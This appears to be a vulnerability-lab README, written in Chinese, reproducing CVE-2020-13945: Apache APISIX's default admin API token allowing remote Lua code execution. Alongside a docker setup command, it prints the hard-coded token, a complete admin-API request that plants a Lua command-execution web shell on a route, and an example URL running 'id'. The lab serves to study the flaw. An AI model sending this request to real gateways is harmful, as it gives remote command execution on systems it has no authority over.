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58 lines
1.8 KiB
Markdown
58 lines
1.8 KiB
Markdown
# Apache APISIX 默认API Token导致远程Lua代码执行(CVE-2020-13945)
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Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。
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参考链接:
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- https://apisix.apache.org/docs/apisix/getting-started
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- https://github.com/apache/apisix/pull/2244
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- https://seclists.org/oss-sec/2020/q4/187
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## 漏洞环境
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执行如下命令启动一个Apache APISIX 2.11.0(这个漏洞并没有且应该不会被官方修复,所以到最新版仍然存在):
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:9080`即可查看到默认的404页面。
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## 漏洞复现
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利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:
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```
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POST /apisix/admin/routes HTTP/1.1
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Host: your-ip:9080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
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Content-Type: application/json
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Content-Length: 406
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{
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"uri": "/attack",
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"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
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"upstream": {
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"type": "roundrobin",
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"nodes": {
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"example.com:80": 1
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}
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}
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}
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```
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然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:
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```
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http://your-ip:9080/attack?cmd=id
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```
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